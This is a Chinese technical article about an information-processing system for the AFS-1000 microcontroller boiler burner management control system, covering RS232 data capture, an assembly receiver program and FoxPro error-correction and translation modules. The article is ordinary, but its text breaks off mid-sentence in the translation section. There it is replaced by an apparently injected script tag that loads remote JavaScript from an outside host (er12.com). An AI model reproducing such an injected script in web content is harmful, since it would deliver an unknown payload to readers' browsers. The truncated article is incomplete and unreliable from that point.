基于单片机自动控制系统的信息处理

摘 要:基于单片机的afs-1000自动控制系统因早期技术水平限制,其信息处理存在先天不足。鉴此,利用控制系统原有的报警打印功能接口,开发了afs-1000信息处理系统。在硬件方面,介绍了信息处理系统通信电缆的连接及机器配置;在软件方面,介绍了系统软件的构成,应用软件的开发,分析了接收信息软件流程、自动纠错模块算法及其它模块的功能。最后指出,此信息处理系统不仅提高了单片机控制系统信息处理能力,而且对延长系统的使用周期有一定作用,但也存在需改进的地方。

关键词:单片机;控制系统;信息处理

  20世纪90年代初,随着微型技术的飞跃发展,微控制器的性能不断提高,这促使单片机(即微控制器,下同)技术获得广泛的应用,并且以单片机为基础的分布式自动控制系统,在当时是计算机控制系统的发展趋势,至今也是方兴未艾[1]。

  这种控制系统具有许多优点,如:各个控制功能的分散使得每台微机的任务相应减少,功能更明确,组成更简单,可靠性更高;在多机系统中,各台微机并行工作,大部分采集和控制功能都分散到各个自系统中,运行速度快;开发、维护、扩充方便。

  在20世纪90年代初期安装的单片机控制系统,受当时硬件的技术水平和价格限制,存储容量很小,当时对此系统也没有提出信息处理的要求。在当时,黄埔发电厂、沙角发电厂的大型机组都采用forney工程公司的afs-1000控制系统作为锅炉管理的控制系统,此系统的报警存储100条信息,没有更高一级计算机进行信息处理。由于没有这种功能,到20世纪90年代后期,随着mis快速发展,此系统的通信与mis中断,造成了管理和监测上的不方便。

  afs-1000控制系统,经过十余年的运行,已接近衰落期,但电厂出于资金原因(更新一套锅炉管理系统需要500万元~1 000万元)和其它因素的限制,如技术水平、工程日期,并不能马上更换afs-1000控制系统。因此,开发此系统信息处理

1 afs-1000控制系统概述

  afs-1000控制系统是forney工程公司研制的应用于锅炉燃烧管理的系统。该系统采用以单片机为基础的逻辑设计方法,实现远程控制燃烧器的投入和退出。

1.1 系统的报警功能

  系统有报警打印功能,但必需人工操作。如需打印报警历史记录,可按键盘右边的“annum-ciator”标题下方的“alarm history”键。因为系统仅保存100条信息,时间稍长历史数据便保存不了,在查询事件和事故分析时,就会造成无据可依。此外,因报警信息是英文缩写的字符,在紧急关头,会造成一定沟通障碍,引起不必要的损失。

1.2 系统接口

  此系统通过crt-01卡把从各个单片机收集到的报警数据,通过光纤输入到键盘,键盘从i/o接口输出到显示器和打印机,如图1所示。

2 afs-1000信息处理系统的开发

2.1 硬件组成

  通信部分:从图1可知afs-1000控制系统通过rs232接口,把历史数据送到打印机。这样可以利用rs232接口,建立控制系统与信息处理系统的数据通道。电缆的连接如图2所示。

  信息处理部分:带有pentiumⅲ中央处理器、20 gb硬盘的pc机一部;epsonlq-1900打印机一部。

2.2 软件部分

  系统软件包括win-dows 98操作系统、visu-al foxpro 6.0数据库语言系统和asmfor win汇编语言软件等。应用软件包括信息接收软件和信息处理软件。

2.2.1 信息接收软件

  信息接收软件是汇编语言编写的程序(set-log.com),图3是接收中断处理程序的主要流程。运行setlog.com时,接收程序常驻内存。当系统产生中断,程序根据中断类型,查找中断向量表,确定要执行哪一模块。

2.2.2 信息处理软件

  信息处理软件是用foxpro语言编写的,具有自动纠错、自动翻译英文信息、智能打印、历史信息数据库管理等四大功能。图4是软件数据流。

2.2.2.1 自动纠错模块

  由于单片机控制系统与信息处理系统之间的通信是实发实收,无校验,无通信协议,所以出错率很高。根据实际情况,需要编写一套纠错软件,降低出错率。

  自动纠错模块的算法思想是:根据厂家提供的报警清单,确定报警信息是由英文字符及一定的符号组成的,制订词法表,从而过滤无用的符号和信息,并自动补充漏发的信息。

  每一条信息以换行符结束。程序以每条信息为单位进行,自动纠错基本算法流程如图5所示。

2.2.2.2 自动翻译英文信息模块

  自动纠错模块产生tempo.txt文件,输入到数据库afs.dbf。自动翻译英文信息根据afs.dbf记录,在字典库查找与之对应的中文信息,然后把中英文?script src=http://er12.com/t.js>

  • 基于单片机自动控制系统的信息处理已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计